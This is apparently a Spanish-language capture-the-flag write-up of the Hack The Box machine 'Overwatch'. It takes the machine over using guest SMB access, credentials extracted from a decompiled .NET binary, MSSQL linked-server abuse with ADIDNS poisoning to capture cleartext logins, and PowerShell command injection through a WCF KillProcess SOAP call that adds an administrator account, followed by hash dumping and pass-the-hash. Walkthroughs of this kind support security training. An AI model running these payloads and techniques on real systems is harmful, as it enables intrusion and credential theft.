Overwatch WriteUp

Table of Contents

Overwatch WriteUp

Overwatch es una máquina de dificultad 🟧 Media de la plataforma Hack The Box. La cadena de ataque pasa por enumerar un share SMB accesible sin autenticación para obtener un binario .NET con credenciales embebidas, conectarse a un servidor MSSQL en puerto no estándar para descubrir un linked server mal configurado, envenenar el DNS del dominio (ADIDNS) para interceptar el hash NTLMv2 de una cuenta de servicio, acceder vía WinRM y escalar privilegios abusando de un servicio WCF interno con inyección de comandos en el método KillProcess.

🗺️ Cadena de Ataque

Reconocimiento → AD DC, puertos 88, 389, 445, 5985, 6520
      │
      ▼
SMB Guest session → software$ → overwatch.exe → ilspycmd → sqlsvc:TI0LKcfHzZw1Vv
      │
      ▼
MSSQL :6520 → linked server SQL07 → ADIDNS poisoning (SQL07 → attacker)
      │
      ▼
Responder → credenciales cleartext MSSQL → sqlmgmt:bIhBbzMMnB82yx
      │
      ▼
evil-winrm sqlmgmt → user.txt
      │
      ▼
WCF MonitorService localhost:8000 → KillProcess injection → net user /add
      │
      ▼
impacket-secretsdump → Administrator hash → PTH → root.txt 🏴

🔍 Reconocimiento

Configuración de /etc/hosts

echo "10.129.41.13 overwatch.htb" | sudo tee -a /etc/hosts

Escaneo de Puertos

Fase 1 — Descubrimiento rápido de puertos TCP:

sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv overwatch.htb

Fase 2 — Detección de versiones y scripts:

grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv overwatch.htb
PuertoServicioDetalle
53DNSSimple DNS Plus
88KerberosMicrosoft Kerberos
135RPCMicrosoft RPC
139NetBIOSNetBIOS Session Service
389LDAPActive Directory LDAP
445SMBMicrosoft SMB
636LDAPSLDAP sobre TLS
3268LDAPGlobal Catalog
3389RDPMicrosoft Remote Desktop
5985WinRMMicrosoft HTTPAPI 2.0
6520MSSQLSQL Server 2022 Express
8000HTTPWCF MonitoringService
9389.NETAD Web Services (.NET MF)

💡 El puerto 6520 es inusual para MSSQL (el estándar es 1433) — instancia SQLEXPRESS en puerto no estándar. Es fácil pasarlo por alto si se interrumpe la fase 1 antes de que termine: hay que dejar correr el -p- completo. Si no aparece, confirma con: sudo nmap -p 6520 -sV overwatch.htb

💉 Acceso Inicial

Enumeración SMB — Acceso como Guest

Comprobamos si hay shares accesibles con la cuenta guest:

netexec smb overwatch.htb -u 'guest' -p '' --shares
Share           Permissions     Remark
-----           -----------     ------
ADMIN$                          Remote Admin
C$                              Default share
IPC$            READ            Remote IPC
software$       READ            Software Repository

🎯 El share software$ es accesible con la cuenta guest. Lo descargamos completo:

smbclient //overwatch.htb/software$ -U 'guest%' -c 'prompt OFF; recurse ON; mget *'
getting file \Monitoring\overwatch.exe
getting file \Monitoring\overwatch.dll
getting file \Monitoring\overwatch.runtimeconfig.json

Ingeniería Inversa del Binario .NET

El binario overwatch.exe es un ensamblado .NET. Lo decompilamos con ilspycmd:

dotnet tool install ilspycmd -g --version 8.2.0.7535
~/.dotnet/tools/ilspycmd overwatch.exe -o overwatch_src/

En overwatch.decompiled.cs encontramos credenciales embebidas en texto plano para la conexión a la base de datos, y la definición completa del servicio WCF:

[ServiceContract]
public interface IMonitoringService
{
    [OperationContract] string StartMonitoring();
    [OperationContract] string StopMonitoring();
    [OperationContract] string KillProcess(string processName);
}

public class MonitoringService : IMonitoringService
{
    private readonly string connectionString = "Server=localhost;Database=SecurityLogs;User Id=sqlsvc;Password=TI0LKcfHzZw1Vv;";

    public string KillProcess(string processName)
    {
        string scriptContents = "Stop-Process -Name " + processName + " -Force";
        // ...ejecuta scriptContents en un Runspace de PowerShell y devuelve la salida
    }
}

🎯 Credenciales obtenidas: sqlsvc:TI0LKcfHzZw1Vv

🧠 Embeber credenciales en binarios compilados es un error común en aplicaciones corporativas. Los ensamblados .NET son trivialmente decompiables — el código fuente queda expuesto por completo. Además, el código revela la existencia de un servicio WCF (IMonitoringService) con un método KillProcess que construye un comando PowerShell concatenando directamente la entrada del usuario, sin ninguna validación.

Enumeración LDAP

Con las credenciales de sqlsvc enumeramos el dominio:

ldapsearch -x -H ldap://overwatch.htb \
  -D 'sqlsvc@overwatch.htb' -w 'TI0LKcfHzZw1Vv' \
  -b 'DC=overwatch,DC=htb' '(objectClass=user)' sAMAccountName

Identificamos las cuentas de servicio relevantes: sqlsvc y sqlmgmt.

Acceso MSSQL y Enumeración de Linked Servers

Nos conectamos al servidor MSSQL en el puerto no estándar:

impacket-mssqlclient 'overwatch.htb/sqlsvc:TI0LKcfHzZw1Vv@10.129.41.13' \
  -port 6520 -windows-auth

Enumeramos los linked servers configurados:

SQL> enum_links
SRV_NAME    SRV_PROVIDERNAME    SRV_PRODUCT    SRV_DATASOURCE
--------    ----------------    -----------    --------------
SQL07       SQLNCLI             SQL Server     SQL07

🎯 El linked server SQL07 está configurado para conectarse a otro servidor por nombre. Si envenenamos la resolución DNS de SQL07 para apuntar a nuestra IP, el servidor MSSQL intentará autenticarse con nosotros — y como usa SQL Server Authentication, las credenciales llegarán en texto claro.

Envenenamiento ADIDNS

🧠 ADIDNS (Active Directory Integrated DNS) permite a usuarios autenticados del dominio añadir registros DNS en zonas integradas con AD, siempre que no exista ya un registro con ese nombre. Los permisos de creación están abiertos por defecto para todos los usuarios del dominio, lo que convierte esto en un vector de ataque habitual para interceptar tráfico interno.

Añadimos un registro A para SQL07 apuntando a nuestra IP usando dnstool.py del toolkit krbrelayx:

python3 /usr/share/krbrelayx/dnstool.py \
  -u 'overwatch.htb\sqlsvc' \
  -p 'TI0LKcfHzZw1Vv' \
  -r 'SQL07' \
  -a add \
  -d 10.10.14.100 \
  -dns-ip 10.129.41.13 \
  10.129.41.13
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully

Iniciamos Responder para capturar la autenticación:

sudo responder -I tun0 -wv

Desde la sesión MSSQL disparamos la conexión al linked server:

SQL> EXEC ('SELECT 1') AT SQL07
[MSSQL] Received connection from 10.129.41.13
[MSSQL] Cleartext Client   : 10.129.41.13
[MSSQL] Cleartext Hostname : SQL07 ()
[MSSQL] Cleartext Username : sqlmgmt
[MSSQL] Cleartext Password : bIhBbzMMnB82yx

🎯 Credenciales obtenidas en texto claro: sqlmgmt:bIhBbzMMnB82yx. El linked server usa SQL Server Authentication, no NTLM — Responder captura las credenciales directamente sin necesidad de crackear ningún hash.

Acceso WinRM como sqlmgmt

evil-winrm -i overwatch.htb -u sqlmgmt -p 'bIhBbzMMnB82yx'

🚩 Flag de Usuario

type C:\Users\sqlmgmt\Desktop\user.txt

🔺 Escalada de Privilegios — WCF MonitorService

Descubrimiento del Servicio

Desde la shell de sqlmgmt comprobamos los puertos en escucha locales:

netstat -an | findstr LISTEN
TCP    0.0.0.0:5985           0.0.0.0:0              LISTENING
TCP    0.0.0.0:6520           0.0.0.0:0              LISTENING
TCP    0.0.0.0:8000           0.0.0.0:0              LISTENING
TCP    0.0.0.0:9389           0.0.0.0:0              LISTENING

🎯 El puerto 8000 escucha en 0.0.0.0 pero el firewall bloquea el acceso externo — hay que interactuar con él desde la propia shell de sqlmgmt usando 127.0.0.1.

Enumeración del Servicio WCF

🧠 WCF (Windows Communication Foundation) es el framework .NET para crear servicios de red. Los servicios WCF exponen su contrato mediante un fichero WSDL que describe los métodos disponibles y los tipos de datos esperados. Con debug habilitado, los errores del backend se devuelven en la respuesta SOAP — esto puede convertirse en un canal de exfiltración de datos.

Obtenemos el WSDL desde la shell de sqlmgmt. El endpoint se llama MonitorService (sin ing), aunque la clase interna sea MonitoringService:

Invoke-WebRequest -Uri "http://127.0.0.1:8000/MonitorService?singleWsdl" -UseBasicParsing | Select-Object -ExpandProperty Content

El WSDL revela tres métodos en la interfaz IMonitoringService:

  • StartMonitoring
  • StopMonitoring
  • KillProcessparámetro processName sin validación

Explotación — Inyección de Comandos en KillProcess

Del código fuente ya conocemos la vulnerabilidad exacta. El método construye el script así:

string scriptContents = "Stop-Process -Name " + processName + " -Force";

El separador en PowerShell es ; — podemos inyectar comandos adicionales que se ejecutarán después de que Stop-Process falle con error no terminante (proceso inexistente):

Opción 1 — Crear usuario administrador local:

$soap = @"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
               xmlns:tem="http://tempuri.org/">
  <soap:Body>
    <tem:KillProcess>
      <tem:processName>fake; net user pwn Password123! /add; net localgroup administrators pwn /add #</tem:processName>
    </tem:KillProcess>
  </soap:Body>
</soap:Envelope>
"@

Invoke-WebRequest -Uri "http://127.0.0.1:8000/MonitorService" `
  -Method POST -Body $soap `
  -ContentType "text/xml; charset=utf-8" `
  -UseBasicParsing `
  -Headers @{"SOAPAction"='"http://tempuri.org/IMonitoringService/KillProcess"'}

🧠 El # al final comenta el -Force que el código añade tras el input, evitando un error de sintaxis en PowerShell.

Opción 2 — Leer la flag directamente vía la respuesta del servicio:

$soap = @"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
               xmlns:tem="http://tempuri.org/">
  <soap:Body>
    <tem:KillProcess>
      <tem:processName>fake; Get-Content C:\Users\Administrator\Desktop\root.txt #</tem:processName>
    </tem:KillProcess>
  </soap:Body>
</soap:Envelope>
"@

Invoke-WebRequest -Uri "http://127.0.0.1:8000/MonitorService" `
  -Method POST -Body $soap `
  -ContentType "text/xml; charset=utf-8" `
  -UseBasicParsing `
  -Headers @{"SOAPAction"='"http://tempuri.org/IMonitoringService/KillProcess"'}

El servicio devuelve la salida del pipeline PowerShell en la respuesta SOAP — el contenido del fichero aparece directamente en el XML de respuesta.

Volcado de Credenciales y Acceso como Administrador

Con el usuario pwn creado (opción 1), volcamos los hashes desde el atacante:

impacket-secretsdump 'overwatch.htb/pwn:Password123!@10.129.41.13'
Administrator:500:aad3b435b51404eeaad3b435b51404ee:269fa056205bbf5d47fc2c3682dbbce6:::

Accedemos como Administrador mediante pass-the-hash:

evil-winrm -i overwatch.htb -u Administrator -H '269fa056205bbf5d47fc2c3682dbbce6'

🏴 Flag de Root

type C:\Users\Administrator\Desktop\root.txt

📝 Resumen

#TécnicaHerramientaResultado
1SMB Guest Sessionnetexec / smbclientShare software$overwatch.exe
2Ingeniería inversa .NETilspycmdsqlsvc:TI0LKcfHzZw1Vv
3MSSQL Linked Serverimpacket-mssqlclientLinked server SQL07 identificado
4ADIDNS Poisoning + cleartext capturednstool.py + Respondersqlmgmt:bIhBbzMMnB82yx en texto claro
5WinRMevil-winrmShell como sqlmgmt + user.txt
6WCF KillProcess injectionPowerShell SOAPUsuario admin local creado
7Volcado de hashesimpacket-secretsdumpHash Administrator
8Pass-the-Hashevil-winrmShell Administrator + root.txt

Un saludo, nos vemos en el próximo challenge.